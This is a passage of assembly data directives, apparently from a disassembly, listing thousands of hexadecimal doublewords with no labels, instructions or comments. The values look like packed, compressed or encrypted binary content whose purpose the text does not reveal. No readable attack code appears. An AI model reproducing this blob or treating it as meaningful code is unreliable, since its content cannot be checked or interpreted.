3D172522h, 7380A7D7h, 0F831725Eh, 7EEC0D9h dd 51F55500h, 2C8B68B2h, 0A67EBCh, 858DAE96h, 222416B5h dd 10491706h, 5943ADh, 8B96C6ABh, 75B18583h, 12A6E504h dd 8A83EAC8h, 0CF990010h, 82DEDF53h, 0D903B9EDh, 76EC3A77h dd 90DB07Eh, 339B060h, 39A88D87h, 80F88EA9h, 80F10A1Fh dd 3CDE0781h, 63253122h, 4008C92Bh, 4D1720B7h, 2C7CCC64h dd 34053C4Ch, 545D79FEh, 9083E480h, 41EBC0h, 2969AA60h dd 0C55E5CE2h, 373C2539h, 8D675918h, 38C6FC10h, 0CD9B00DDh dd 83436201h, 0A273BB0Fh, 0B8E056h, 8597922h, 8896AEE2h dd 473F7E2Fh, 9D67824Dh, 0A32349FDh, 0A01BE8DCh, 1DF7D491h dd 0A8518273h, 0A74220B8h, 5215393Ch, 537D00DCh, 561ED33Ah dd 2817192Eh, 0E32549EBh, 0F57C8900h, 85C3D182h, 0F701815h dd 1F4AA114h, 367DC800h, 75121A46h, 1B3801BAh, 0A70F718Bh dd 0F29B80Bh, 20A1FF36h, 43285024h, 14AD075Ah, 0D30D81DAh dd 0F087E89Bh, 287D2D17h, 811681C8h, 3ABD72A0h, 9A8EE845h dd 0D300787Dh, 9F5F89F4h, 7E28815h, 29B30C3Bh, 890D236h dd 4001E484h, 0F6ADE87h, 9180ED93h, 0B0AD99F5h, 560493Dh dd 0A5A376F1h, 1E8F8BAh, 884B94D4h, 87092A17h, 25BDFF21h dd 9480F2E4h, 0EA157E26h, 49A4A842h, 29D60Ah, 9877DEA4h dd 31607345h, 0FACDF48h, 810A6391h, 3978C217h, 8190AD00h dd 0A19F4F3h, 1AA23143h, 8011F2B9h, 0B984AA31h, 0B65E86h dd 0D67AA41Eh, 850F55D9h, 88245800h, 0FECEFDC3h, 3368C896h dd 9F40AD88h, 3CD4007Dh, 0BA8F7241h, 87B22D00h, 881695BBh dd 0CF2B00E6h, 2A272F97h dd 0ED388F9Eh, 433884A0h, 0D0E98Ch, 7131787h, 7BDD8E3Dh dd 195B80EEh, 1561900Fh, 21B69871h, 0F85CD980h, 0A002DBC1h dd 1D97E107h, 8B919661h, 1831016Dh, 2451A7C4h, 41E40F3Fh dd 0DC45DA1Dh, 8005E4Ah, 92A63255h, 7B0757h, 0A5A4D70Bh dd 8E8C15CFh, 8643D9C2h, 0FE98A126h, 8448138Bh, 19106025h dd 0D42E11C2h, 923C85F0h, 0C4D28Ch, 88ED8413h, 302538F0h dd 1590A28Fh, 0D61FE8Eh, 19263C60h, 0A417D310h, 2400ADF4h dd 0DD6399AFh, 18AB1Bh, 0F1B8518Ah, 3F95C023h, 0E0B46816h dd 12312F00h, 9A7921FBh, 204345BCh, 10E9AF24h, 6E1D9E6h dd 263EB932h, 0C1041928h, 86C8B485h, 2A8794D0h, 0A9C50711h dd 0CCAD3DD6h, 0D1752F10h, 0C35C3F4Ch, 80846B4Dh, 13149E4Eh dd 78574D4h, 9ADEE2D8h, 920F066Ch, 2A03810Ch, 2F6DCB12h dd 6F35E811h, 687B0531h, 88854324h, 8131B810h, 0F49C14Dh dd 0C28019BCh, 965A68FAh, 67A01C7h, 81136B1Fh, 836F2500h dd 371492FFh, 8289738Ch, 0C41C8Eh, 9187F50Ah, 0A23B905Ch dd 1535A09Ch, 0AD5106E7h, 0B9B59D87h, 0A7349C02h, 609AEAB6h dd 900F79E0h, 0AD39C662h, 0A57541ABh, 337C700Fh, 5D4540C8h dd 1BA2D1Ch, 29BEA651h, 4788DAB3h, 62A890B0h, 91005EC8h dd 0E4A0F33Ah, 487D9FD2h, 0A111C81Ah, 0A8870C1Fh, 0E603614Eh dd 0A8EFF1E2h, 0BC1462h, 356E5C89h, 0F1A6DA9Dh, 8192A006h dd 4D488BE4h, 8581003Ch, 0F449A76Eh, 0F100FAFBh, 8737FE34h dd 99DE5098h, 0DA1A8FB0h, 0EDE7C0AEh, 385BE076h, 0BE04B1BBh dd 330F5E65h, 0E17CE840h, 0C31C626Ah, 5F80C52Fh, 6BAA9380h dd 0B8E7012Ah, 0E08F9CC6h, 5C8321Ch, 9EC1068Dh, 0FE572427h dd 31929B90h, 4C5B1F69h, 0D37B407Ah, 4F51F3E3h, 0C098F40Bh dd 0C8D30825h, 0A3E8DA81h, 4ED0F906h, 59D30113h, 0A28C29A1h dd 723B7093h, 8E1C3890h, 0AA7C435Eh, 0BC98A82Ah, 3E6D6800h dd 3FFC5322h, 8441227h, 334C20F2h, 5A38CB97h, 793DE3h dd 0E5045D30h, 880F4951h, 0C8009456h, 633ED083h, 0FA0AE7h dd 8477C0AAh, 132566B8h, 8B6171C0h, 0EFB1B67h, 1AB4D557h dd 0EDAECB20h, 0A60966C6h, 24916027h, 3C41A874h, 20BC58A3h dd 64F0710Ch, 293A3F0Bh, 0AD980311h, 3129004Dh, 8C826DB9h dd 0D37ED774h, 0A6345700h, 0BADE72E6h, 0DB602ED8h, 0AC0F068Ch dd 43E0E101h, 1468FF26h, 1258AE1Fh, 2C4819h, 0F3180A90h dd 0AB0C11A7h, 0BC56FA00h, 4386962Eh, 801E5549h, 0D8C120h dd 879D317Dh, 383EF57Ah, 15925800h, 818D90E5h, 854116B2h dd 92C2212h, 0E805C24h, 6898A90h, 0B6BE5FAEh, 0BD00591Bh dd 51191DC7h, 72D9BC0h, 0AC831A36h, 74DD80AEh, 8B3C067Eh dd 543A1A62h, 291060C0h, 0A841C00Bh, 0D4367590h, 3EEC2C02h dd 0A616380Fh, 0F029897Ch, 92A2023Fh, 0B425D8EFh, 0A638F44Eh dd 14A048EDh, 5C0FF6h, 0B3103B5Eh, 0C2F11Bh, 0C62FD4E0h dd 3931F9E5h, 94119100h, 3F20A6AEh, 0BFAC074Eh, 21CFFF37h dd 65142631h, 0E4A82438h, 3C06B900h, 9A03F6D4h, 7725F85Bh dd 7FE5099Dh, 3488BFA0h, 455861B8h, 0EF3880B3h, 0F5813BD0h dd 0B06004Ah, 4F6E708Ah, 1C904DB5h, 7ABF6903h, 0A0B98695h dd 0C5147B53h, 80A420F8h, 172A8834h, 102C274Ch, 502E0F5Ch dd 2592178Ch, 290882F4h, 1769982Ch, 319415F6h, 9F10CCE0h dd 0D218D28h, 0E321C517h, 0CA3A59E0h, 0D8195234h, 13109882h dd 587740B4h, 2D94DDAh, 0CA46535Ah, 50480DA7h, 363AF6E1h dd 3EB89DA3h, 1F08F303h, 25611822h, 9594792Dh, 29710103h dd 0CBAE061Ah, 0B3695017h, 0C4830050h, 5FA6DF5Bh, 84E49465h dd 26C8E200h, 0D2BCA016h, 0CA1F0325h, 0F21108E4h, 110C614Ch dd 49289E8Bh, 3D78003Ch, 0CCA77C3h, 6E07932Ah, 1EDDBC6Dh dd 583EA0A1h, 38EB048h, 4C3DBF85h, 50129B22h, 70885FE7h dd 1C460161h, 3F9647EFh, 40A9ED5Bh, 0F180F238h, 0F8900AFEh dd 0ADD851E1h, 8510404Eh, 29001BF7h, 23B90390h, 75A6352h dd 2406776Ch, 32FA717h, 0BD90AE86h, 443EA337h, 19913F22h dd 7E494CADh, 716DF4h, 7AFC5A47h, 246CE2BFh, 414E5B01h dd 0DD4AFA97h, 908FC842h, 9689B8B8h, 1BA442E4h, 0A308F222h dd 0DEC3D9BCh, 0E3010080h, 0FEE16BFDh, 0E8043F83h, 0A8AD869Ch dd 38503240h, 0E73E4831h, 199430DEh, 0F6FF8FEh, 69969FCFh dd 0F0042D21h, 0A47985C5h, 0C8C2CE95h, 0A8902B23h, 2C0F4380h dd 65927E66h, 4C28EDFh, 54E69Ah, 0B78AC231h, 6FCCA7AAh dd 1C08655Ch, 0C1B1AB0Fh, 8321117h, 0BCC3F614h, 46B2F1C0h dd 23003CAAh, 50DFCDB7h, 0F0169BB5h, 0A4B0014Dh, 281713B9h dd 282423AEh, 433E788Ch, 0C74458A3h, 25E4465Eh, 84057483h dd 34F88Ch, 0ACF1F623h, 0A907B25Eh, 0EB012F75h, 0B39562Eh dd 43D00310h, 42CCA68Ah, 8E310085h, 0A47D300Ch, 1D910005h dd 0B59FF82Bh, 4CA0CD80h, 0AD0004E7h, 3F530B0Eh, 3D92E5h dd 86365D8Eh, 3EBBF7A4h, 7462853Bh, 0A7F04725h, 1A0093ACh dd 264FE6CAh, 3EC0C250h, 0F19AD44h, 0AE5078DCh, 0B003C29h dd 69BCB1A4h, 0F00CD2Ch, 0B968A231h, 7885EF8h, 0D60465D8h dd 1125C36Eh, 6C59D101h, 0B094913Bh, 3540A8DBh, 445F4D1Ch dd 0F507983h, 590099E6h, 5E479385h, 20D306h, 0A5FC04D9h dd 0F9A3F184h, 8B407D0Ch, 99F26114h, 0E59E0014h, 3E886C1Bh dd 90789400h, 0A5EAA32Ah, 418A4A41h, 434EE3F4h, 0A0942C8Eh dd 4F5402h, 872537E4h, 12CC735h, 0CF5C1C7Ch, 404E00FFh dd 3DB2E20Eh, 9926h, 838D945Dh, 0D090C593h, 24BA4500h dd 8A251F6Bh, 0B4900FA0h, 9D258B52h, 0EE0823Dh, 0F884F320h dd 2C254CB1h, 0D89FA603h, 80D54CF9h, 7F53A788h, 7300A87Ch dd 0BA87C78Ch, 99D73965h, 337A80BCh, 18BB80C9h, 1DA29602h dd 46253F30h, 336F6A4h, 7FA73A87h, 0B4F49EE5h, 0D700DA48h dd 57A18940h, 0C6BDC0h, 0A625F29h, 0FFDC4407h, 0AD7C9D0Bh dd 0A85498D8h, 8DD50113h, 0CC7A202Ah, 66E7057h, 0ACA96E00h dd 9379CF99h, 522B4B17h, 0DCA488E4h, 3A294700h, 6B522039h dd 65CE3E6Dh, 882B1450h, 710183DEh, 2A4F1675h, 0EC21A8FBh dd 0F828E44Dh, 0DF0BF380h, 740F6F63h, 400464ECh, 0C2F88D50h dd 885A0169h, 0F58705FBh, 124840B4h, 0EE00B29Ah, 947061D4h dd 0EC6DEA0h, 17C5335Fh, 0E7A80A28h, 0AD4EE600h, 0F6B08B8Dh dd 0ADFBF191h, 5E3CE881h, 7994AE0h, 95C790ADh, 0E208840Fh dd 900C22D0h, 70B26DCh, 7036114Ch, 80F53C3Fh, 28151126h dd 3643DB7h, 0F7E5B87h, 294376AEh, 4E4601BCh, 786222C8h dd 5C80DCECh, 0A03BEBAEh, 114A7A80h, 0F38B825Ch, 8EE3210Eh dd 13F289F1h, 3D50E0F4h, 5BE63BB3h, 49916C3Fh, 81FE071Dh dd 6B80019Ah, 2E833CAh, 0AD6432F4h, 85418504h, 22B43994h dd 0A8EE0016h, 8B5047Ch, 4A2E8225h, 212D864h, 8D203C30h dd 0AEBF0EE8h, 0EC9D1A7Dh, 0E0C4288Ch, 61FF800Ch, 25642Ch dd 910A4F0Bh, 0B8112F58h, 71BE92h, 9BA7AD3Ch, 2BAB22B5h dd 80909DA6h, 2843E0Dh, 1A00DAB7h, 70480758h, 6C9E80h dd 0C54209DBh, 2C646087h, 0B7670C6h, 3C124C59h, 0C02B69C4h dd 98F7BC6h, 807E0539h, 3DD4F997h, 0DDFAE73h, 0A4E08E3Fh dd 7203CDC8h, 163B0098h, 284C3925h, 4F43EA1Bh, 202C20A1h dd 8D321311h, 127138A3h dd 3F1430C0h, 9B952703h, 0C81C252Fh, 0A1379EF8h, 41E20898h dd 0F18B8E1Ch, 0F1EA4h, 49F95A2Ch, 60885007h, 0E1D0AE7Ah dd 0FC63F73h, 0BB2A0903h, 5A252040h, 132C1C65h, 32086878h dd 960F0629h, 8C99F9F1h, 396F1980h, 3A89E69h, 0B83A9706h dd 4BDD2EA6h, 7005CBE8h, 0E0448198h, 49839AEh, 0B983C8F8h dd 3936081h, 4C7D0517h, 4EC826DCh, 39199160h, 5B09B237h dd 45FC205Bh, 883921F5h, 80033B62h, 66F254B7h, 90996101h dd 709080AAh, 72C8C92Bh, 47761C94h, 9B8EB912h, 2F413C80h dd 0FC155017h, 1F014093h, 96250D44h, 4B968068h, 8365DDFFh dd 0F5DAD700h, 0AD0F3168h, 9DC9C305h, 0D28D701Dh, 8A292608h dd 5901BBFCh, 388C5322h, 0B817503Ch, 3C802081h, 172CC65Dh dd 2169AC16h, 68940F28h, 99B49448h, 78003A3Ch, 4CF76918h dd 0D899F0E3h, 9F54EF80h, 71D4C2C7h, 0C48807B4h, 0A0196428h dd 203283E4h, 0F0507F30h, 48FFF548h, 0A7103C2Bh, 0D12830A8h dd 0A2C8A5E2h, 38288AE4h, 9229150Bh, 0DC6658h, 947D8443h dd 70CBFCDBh, 0C76B9516h, 1F9B4805h, 1207DCD2h, 4F0D2000h dd 7100E689h, 0BD78D42Eh, 4333A1h, 0EB1C675h, 3E86B828h dd 0C70A4E90h, 90B7F9E3h, 0A4050C11h, 309D225Fh, 2FC26ED0h dd 40968000h, 16311A99h, 45894F43h, 4034F2ACh, 48E1FCA4h dd 360FD8EDh, 0EEE3A33Ch, 3AE8E03Fh, 12AD5D9Eh, 0C8E4BA3Dh dd 0B5023CCCh, 34D8E0ABh, 1C520Fh, 94F7AEDh, 86BEB003h dd 98B6B926h, 6B309147h, 0D825D5h, 0EDF39E3Bh, 9FAD84E8h dd 856FEA17h, 8467380Bh, 60D994CCh, 3DC72D6h, 0ED695FABh dd 87E23EBCh, 10F70041h, 0AF707Bh, 0C669E93Dh, 2587D0C3h dd 0E3911F0Ch, 4E63F806h, 1540200Eh, 70B14EA9h, 59460F80h dd 0D2BE7Eh, 0D367B090h, 5880F519h, 258BA400h, 0A33EBD61h dd 0A24A0121h, 0C3172D1Ch, 6C41A808h, 8286E707h, 39609887h dd 0A4598815h, 6B1B44F4h, 0D1435A00h, 446AF4A4h, 0C284007Eh dd 65486EABh, 0F16193Eh, 0E0201C8Bh, 764BFF6h, 26FEAEACh dd 0FFA9F184h, 108025AAh, 5679DA2Ch, 751C8D00h, 0F8966D4Eh dd 4AF50EBAh, 0F4C06CC4h, 6F132AC2h, 391E074Ch, 5A0600D4h dd 40D1E208h, 0C1E48A1h, 7880FD88h, 20607E7Dh, 570900A8h dd 13352B22h, 42FE236Ah, 99CAF805h, 584889FAh, 0E08D44F5h dd 2561B400h, 9FD838B8h, 8C409100h, 87830494h, 900D7985h dd 0F0F63C6Bh, 0B48ADh, 295E1992h, 0FD876AC6h, 7C80B1F4h dd 0FB4BDAh, 0CF835928h, 1AC4B6C2h, 5820664Fh, 0AAA1F5h dd 5EFF4DE8h, 0D42104DAh, 3FA2A701h, 0AB99EBB7h, 13263441h dd 35595110h, 556E2C00h, 717EA9FBh, 823F16A7h, 0E72021ADh dd 0B4C0EAC3h, 1400E6BEh, 0B87B7ED4h, 70F7855Ch, 0D82C04D6h dd 0B438F371h, 0A10E2450h, 986F461h, 5E6C04B0h, 49689840h dd 11DC06E0h, 2C4425h, 0DD14FEE5h, 0A6371009h, 3C313C2Ch dd 946DAE60h, 0AA5B0003h, 2F1F71Eh, 5E0986A4h, 0E60180D8h dd 0DA210420h, 0B32E55D0h, 913900F0h, 3FA83C07h, 267A250Ch dd 5B800048h, 711DB21Dh, 402FAC43h, 7E539849h, 0C8414A82h dd 2513C560h, 6C08B397h, 5B3C8154h, 874FADC1h, 9DE60A11h dd 0F3E7EFC0h, 0F97084h, 0A8BDF0D0h, 0ADC5A5F5h, 0D442A024h dd 0E8C87412h, 257D889Fh, 0ED803C96h, 8E0838F6h, 0FDC80037h dd 137BD97Ah, 0AF033366h, 1728142Ch, 1DA4A031h, 0E1FF1791h dd 413C1943h, 242DF2h, 5E3A7A9h, 0B48E9CBh, 319F4A04h dd 55172082h, 40A608F8h, 57D79900h, 0D9B9D5F3h, 0AC8900D6h dd 0CC7B4F59h, 0CB779B2Ch, 0E937D08h, 3B108016h, 0B2071CC2h dd 0E3364100h, 0CC4858Ch, 928947Dh, 0C8647743h, 2E3110E1h dd 30440FB4h, 6BA9AEFCh, 60AC50C9h, 0AA588520h, 0CC1D694h dd 1C2D2B7Ch, 56820680h, 1F0B32CFh, 58EB263h, 380325A0h dd 0C7C860E2h, 0B1CAF330h, 8D9401D7h, 40199158h, 80D87CAEh dd 7CEC2C44h, 0FAD0543h, 0C23E9F20h, 7104ACE8h, 897D3CA2h dd 12409150h, 72C5CF00h, 0B9FF8CEh, 2C43E300h, 0BF56325Ah dd 0C8915222h, 679617h, 0F56EA37Ch, 0EE0D9BA8h, 2144AB0Ah dd 618341F9h, 3BD37109h, 8FA121C8h, 5C071601h, 0BEB72945h dd 9E0DC3ECh, 142C9138h, 25508FB8h, 0E746464h, 0D1DBC1ADh dd 93656240h, 78001F27h, 564F759Dh, 0F308F2F7h, 6D099823h dd 0C0649ECCh, 0DA1544h, 96C32B53h, 5E5AC04Ch, 0D05F012Fh dd 0F90FEC1Ah, 1689B03Ch, 2C4FC031h, 7FB9802Ch, 0A921D7h dd 0FA0BB1F2h, 0EEBAD61h, 0CE64B600h, 4301678Bh, 9413488Ch dd 3ABEA8C8h, 69F2448Dh, 0ACC6196Ch, 8F52D067h, 4F93130h dd 0A49500BBh, 632D45A5h, 0EBE24E60h, 0C50F5BFCh, 0ABC873D8h dd 14B801A0h, 0CC335985h, 62001122h, 1EF7047Fh, 0E15D9Fh dd 0D453DB17h, 4F4EF9CDh, 6B0BB8B0h, 0E408B8F7h, 85660060h dd 22AB9307h, 40FE9E59h, 13F13100h, 296EEA0Fh, 3C022E92h dd 6FA660E4h, 657E73B4h, 0DB719101h, 5CD4CA02h, 512C90F3h dd 0F591237h, 0AD3C2190h, 0AAB18F97h, 176F2040h, 0EB9D331Ah dd 413424h, 546086AEh, 0A983148Eh, 264400BCh, 0F189E243h dd 68D08C84h, 0F01E3D02h, 414D97BCh, 2E0CAB08h, 0FFE4B789h dd 8E5D1D29h, 811AF915h, 0F818295Bh, 0C200773Bh, 8E34A9F2h dd 392144C4h, 0C88054F9h, 6876D305h, 0AE023C0Eh, 821E2BE3h dd 72F2E00Bh, 3FE2E432h, 0B83DFFA0h, 0DA0E2CD3h, 9B401C67h dd 43FDEB13h, 9244FB00h, 0BA260F48h, 62A624A8h, 8C140265h dd 24DB0DECh, 0D6235400h, 0CA5864h, 0A58E6CBBh, 0AF894190h dd 0CC39F289h, 8AD85D0Fh, 9472B3E0h, 9779BF3Ch, 0B1FFDE00h dd 37D3498Fh, 0A765188Dh, 0EA471CEh, 8E3C80h, 0B6365D6Bh dd 0F310543h, 9340AC5Ch, 7ECEB830h, 6E3F00FAh, 4693233Dh dd 0ED00D62Fh, 5FF7BAC6h, 87DF2F6h, 2848494Eh, 19A70F09h dd 1208C5B8h, 80151989h, 6C622F92h, 72348D07h, 1A60998Ch dd 80BE41h, 0A8CD5140h, 0EAC25C4h, 5A80D49Bh, 5B8D7723h dd 96F10E02h, 87F27F8Eh, 0BC26A090h, 6617229Bh, 0A090B5B8h dd 70B9E7B7h, 0C4590060h, 425B52FDh, 69294DE3h, 8F80C055h dd 832B13ADh, 0A7C60107h, 66D08734h, 80B82858h, 0FD7A71A8h dd 5B8034Eh, 0BAD47E08h, 23508001h, 45281767h, 91F68850h dd 5A38B048h, 0CFE0701Bh, 0EC7B89B3h, 0E8F3FE00h, 31C0F919h dd 72013F48h, 0ED2C27FEh, 0E4C16442h, 0A4602A0Dh, 0B8454A84h dd 49CE44DCh, 18C92460h, 993981h, 60C2B96Fh, 56552F3Ah dd 25DE4938h, 48C8C68Ch, 484C4DB8h, 90A0EF04h, 8F5CCC52h dd 0DBBBF000h, 0E24D8B5Eh, 0F5870085h, 0EB7862D9h, 38273F49h dd 84451h, 12A26933h, 9DFC2DEAh, 62610F4Ch, 521C1769h dd 0A293F8DCh, 1288DB40h, 0F62038A9h, 4C8D152Eh, 2025596Ah dd 0A3743A50h, 0F72C00DCh, 69DFBCFh, 4500A7AEh, 3224A858h dd 2EC5ADABh, 254C1C91h, 0E0984C02h, 0C71DA12Eh, 8EF125D1h dd 8921F033h, 3780A290h, 138F40CAh, 34220B9h, 0BA1FC015h dd 2E477FACh, 2F066F7h, 950F2D14h, 30C36CA4h, 91B6EB8Eh dd 24C0040h, 117CD1DEh, 0F9AD904h, 50A2FD94h, 5C001022h dd 5A6F50ADh, 0BBC97F5h, 1135D954h, 6E01B980h, 2377FB2Dh dd 5EEF812h, 330020E2h, 0E8BF6918h, 3F0F3486h, 67589E56h dd 31A05F6Fh, 0F4606AFFh dd 442C9042h, 8B005020h, 0FAB9862h, 0A49E94AEh, 3A1945E8h dd 0C7BEF820h, 6C2000E2h, 663783FAh, 67005D4Fh, 629EC692h dd 94A98815h, 2AC24058h, 58B03B17h, 52232406h, 21ABAAh dd 46D56B2h, 9E30A8DBh, 72D43D00h, 91243FC8h, 0B031544Bh dd 0CC109528h, 270F0733h, 98FFC96Eh, 0A4409D38h, 0FB0C4484h dd 2FCE7502h, 0FAAA3085h, 4F818h, 9589A91Ah, 0E5E91E0Ah dd 11ECE6A0h, 0C06F0F24h, 5CE98F64h, 2E48A709h, 0EB50EC83h dd 85387D0h, 6F07C496h, 0BC433802h, 1700E7CFh, 919715DEh dd 90AD8564h, 0B0EC374Fh, 54078487h, 2DECB103h, 0D0798BF3h dd 13AFAA94h, 0E2C1FE78h, 857000C4h, 9BC9C240h, 0DCF5006Ch dd 0E77C8D73h, 449887A8h, 8E50A095h, 1CBEB67h, 0FE2251A3h dd 150A0EADh, 0E6963100h, 13A0DC45h, 90C217C4h, 0B8D7AEF0h dd 5FA33709h, 9E0C9822h, 0A102003Eh, 0BE55B77Ah, 0AD2EB0E8h dd 0D00676Ah, 0F36C4A74h, 910F2669h, 0C8B06E00h, 944E42AAh dd 0F7808C79h, 0D3CB3970h, 0BB2F006Ah, 4324109Bh, 4A0291A0h dd 0BE1338C0h, 0B0ECDAh, 0E6508CFh, 0B865694h, 0EB177101h dd 5AF4C0A4h, 0C209D07Dh, 906487D0h, 0C1193C00h, 62394C8Eh dd 0B8807DAh, 0B107C71Fh, 0F8F8C549h, 284808F3h, 0D188C9D8h dd 0FD5A43D0h, 307D0A81h, 0D4991278h, 0C029A49Bh, 3B7AAh dd 31366FCAh, 7909EAA3h, 0AA98500h, 9D2E55D3h, 4714963Eh dd 7EC000B6h, 56000868h, 3B5128A4h, 5A146F13h, 18028C3h dd 1D590200h, 0AFADC518h, 19A2097Eh, 0C0DB2CCCh, 0F0B2A7h dd 15D63AA4h, 81709660h, 0B7F48D36h, 0B4502020h, 883664Ah dd 3D18A340h, 62D8749h, 0F0A47C10h, 6371D900h, 5CB7AB29h dd 393F12A6h, 8E7C4088h, 86BEA3E2h, 3898A84Bh, 172F4094h dd 281F4Eh, 0CCAC24F9h, 0AF2600FBh, 51CACDD3h, 0D7F1FB01h dd 3DE37EB0h, 8A14DE85h, 0F0A746h, 97D45AD0h, 0B1ADE1h dd 181F374Dh, 0DBA353BFh, 0AC818709h, 0E104E1CEh, 10219113h dd 801025E4h, 9E072B38h, 0DDD04525h, 0DBB2D933h, 0EF489863h dd 125C2513h, 0FBF5F881h, 8292A4Dh, 3EE20C20h, 4109FF30h dd 1480AD0Ah, 17979E65h, 0C0342D48h, 22B69BA8h, 0ADEF2AABh dd 0F7C022DCh, 24408B0h, 3CDE3DA4h, 0C05022DFh, 40187C12h dd 8D40A1E2h, 0F231ACA4h, 883F41FFh, 16A285F4h, 0ED2513h dd 0FC0B0C9Ah, 0BD13657Bh, 3C881DB2h, 247DFD87h, 60301C26h dd 8B41A50Ah, 0C3042F7h, 8F5A8420h, 0BAB60046h, 0B3B91461h dd 0A025876Bh, 4318C066h, 9DBCB288h, 67624832h, 65615C56h dd 6C30A70Fh, 4C2B41F1h, 0DE037E40h, 0EB91B05Eh, 0CDA3A9C7h dd 183E8CF0h, 0B0085A6Dh, 0AE880C29h, 0DC251486h, 0BC20B411h dd 5C8A9DE2h, 0E47258F8h, 0F5D05B05h, 0ACF25E1Dh, 0E03B4A2Dh dd 2E8244E0h, 7A1DD3E6h, 0A5808DA9h, 1B9F8B89h, 0C89B0543h dd 0F32F3829h, 0CC3329B4h, 3B830140h, 0C2A500CBh, 0ED7A744Bh dd 0BFB89973h, 0FE593409h, 71D0E457h, 9E900317h, 7A8132FCh dd 105D24C0h, 50E34900h, 1C0D6AE4h, 26F83F2Bh, 9B91C600h dd 6AC0F3Fh, 58709C4Eh, 0C220E8h, 8158CF4h, 5BAD4BDDh dd 99F3A200h, 0ED066963h, 84315057h, 8A4008B1h, 159103DBh dd 0F801EC00h, 8EA0D064h, 0FB9F100h, 172F4BBBh, 61E21210h dd 869402BCh, 5C40B665h, 14950D27h, 398847ACh, 0AB0F8462h dd 0A4019EEEh, 20B3701Eh, 0A091D60Ch, 28D393A0h, 0BC819095h dd 0AE032856h, 714C88CDh, 0B919290Fh, 216EA09Eh, 9A2824h dd 0DB112AC6h, 4E312B78h, 0A010886Fh, 201EE57Fh, 5C25488Eh dd 70B62E22h, 754C2607h, 0A7868C31h, 3096D06Ch, 0CF47C690h dd 7CD5DE0Ah, 5800C9DFh, 9B947505h, 11185FF9h, 291C18B8h dd 0E112CE4Bh, 0EF317D00h, 0B3261D65h, 6D02C053h, 4666AFA8h dd 35420754h, 0B5950587h, 2680F492h, 0B0489781h, 2F034277h dd 38981489h, 0E8B8B65Ch, 5B01C1BEh, 0AC5552F3h, 1ADBFC6Ah dd 0D45D9C2Eh, 6621E560h, 0C5194A4Ah, 0BF688CACh, 0D12E9400h dd 0D8AD1204h, 3E33001Fh, 0DD34DAA4h, 0C0C0CB59h, 6014AE6Eh dd 5840BE9Fh, 320C53A8h, 283FE67Ah, 439E4492h, 2245E716h dd 86CA581Dh, 7A08F85Eh, 0C2173891h, 3CBC0A2Dh, 911F8h dd 0BB756845h, 0E3C3A1h, 76D350C9h, 804347EFh, 891012BDh dd 491839A9h, 92015C7Dh, 0C8D571B8h, 884FC05Bh, 621BE402h dd 798E1559h, 848A1068h, 74B2A5FEh, 9C3F613h, 0C5B24F8h dd 0D2191F80h, 8D81AFh, 0E68811EBh, 0F0E47FD0h, 2242F0C0h dd 0B87AD64h, 97FA1BDCh, 1922B8ECh, 0A7D12D0Ah, 452AB810h dd 3F24BF00h, 43726D17h, 12CC0B18h, 0B0ECCD5Bh, 194449E0h dd 0B4B16ADh, 31AE0052h, 0D0F6A88Bh, 12007D75h, 11287238h dd 55E537Ch, 0A0FE2588h, 2BB0CCD7h, 0A6B50403h, 0F01FFF79h dd 8A9D02h, 0B6663A70h, 0A9A3B220h, 0C8C7935Bh, 0B852A6E1h dd 70609BC1h, 66C78805h, 17DFAD05h, 9441EB2Ah, 4FE691F5h dd 6424006Fh, 4285155Eh, 0A122BCA4h, 0C8B85E2Dh, 90951700h dd 275EFF7Ch, 9CC17E90h, 695070B7h, 0B80986EEh, 21758F40h dd 248CFF40h, 0DC13EDD3h, 318CC8h, 93C58FD4h, 0CB86C0AFh dd 1A65000h, 0A3B0747Fh, 55840570h, 0D0E0A98Bh, 8564FCF0h dd 3888BC4Fh, 0C24000CEh, 0D90CF49h, 0A63BECDFh, 0F4D8BAEh dd 902051AAh, 21378186h, 8CDD5E31h, 0CC4A3033h, 1512A400h dd 14C8B7F2h, 0A9E0B3h, 0BEA12DE2h, 9B687CEBh, 95F8F509h dd 874CC80Eh, 0E3461FD7h, 0EDACDDC2h, 291BE410h, 2692DD03h dd 0F7D24155h, 823C4859h, 4D18038Bh, 651C9BDFh, 0A4D8E690h dd 3EB84500h, 3C08C485h, 7AF03D8Dh, 0C40BF0E9h, 18FD1C18h dd 3E253115h, 40E305B8h, 9CADF5EDh, 0B41BFF3Eh, 67C83106h dd 0F83A3B86h, 0E7A200D5h, 0FF841B70h, 530C0B3Fh, 4D18769h dd 15393C01h, 6CE871E7h, 31655ACEh, 2B9EE648h, 0A443AC04h dd 54F2B8C8h, 1C48813h, 0C31E9E7Fh, 0D36AFA34h, 0DAE030AAh dd 0AA5376D0h, 0F3C0BECh, 0DAA8C8A9h, 87F616ADh, 9679098Dh dd 1600CC71h, 0B6911837h, 0BF89C019h, 0D5FECE0Fh, 51AB8E00h dd 0ED7C6209h, 4383FBDh, 4D2D1E81h, 0E2FF8B3Dh, 0E1E7F040h dd 68C004B6h, 0DEB523h, 97DA5460h, 47BE24D2h, 1C643502h dd 4668C7ECh, 0B0909F7Ch, 0CC501317h, 0B8987890h, 38476345h dd 492258A0h, 0A9A9C018h, 0ACB9990Ah, 8C3C1E7Bh, 802CF78h dd 22AA2196h, 0F5200DC0h, 906419A9h, 0C18C22C0h, 172F64A1h dd 0EC988DC5h, 0E8DA3814h, 11EEE30Ah, 0B3890818h, 66A1E280h dd 4A010F8Bh, 82844049h, 9A605F0Dh, 0D7AD0E1Ah, 0EC406681h dd 50F1D69h, 81BF0030h, 72960EB8h, 78A5CB5Ch, 0A74DB371h dd 0C35C4810h, 0E05CFBF1h, 7D483AAh, 977FB536h, 61B3E00Fh dd 89D3556Ah, 0F315A409h, 34581ECh, 6079B281h, 1E0BD731h dd 0E4D625B5h, 7178B688h, 2C8BE0F4h, 9F4490A6h, 81A32650h dd 64514B94h, 0ED80B89Dh, 91C56106h, 9BE9020Ah, 887BAA8Bh dd 1009B441h, 0A05CCFB6h, 5E26FECBh, 1B982087h, 810C675Eh dd 590965C6h, 0AE0F161Ch, 0ADA449EFh, 881AC90h, 0AAF41800h dd 391A84C6h, 0ECB90BBFh, 0E871C89Ch, 0A78C1C00h, 0E71AC6Bh dd 877368D1h, 270BDAC9h, 6CD4A4C2h, 0C2BBB640h, 0F1FA00E6h dd 0DD6CA4ABh, 83096F51h, 189F2BF3h, 5FC9E25Ch, 49E8D83Dh dd 741D44h, 0FD8148C8h dd 0BD8486DBh, 828DAC00h, 0A1AF6E4Eh, 501397ADh, 3A9E1F0h dd 0D9014BE2h, 3BAA4043h, 0A5F91216h, 1E3C9C0h, 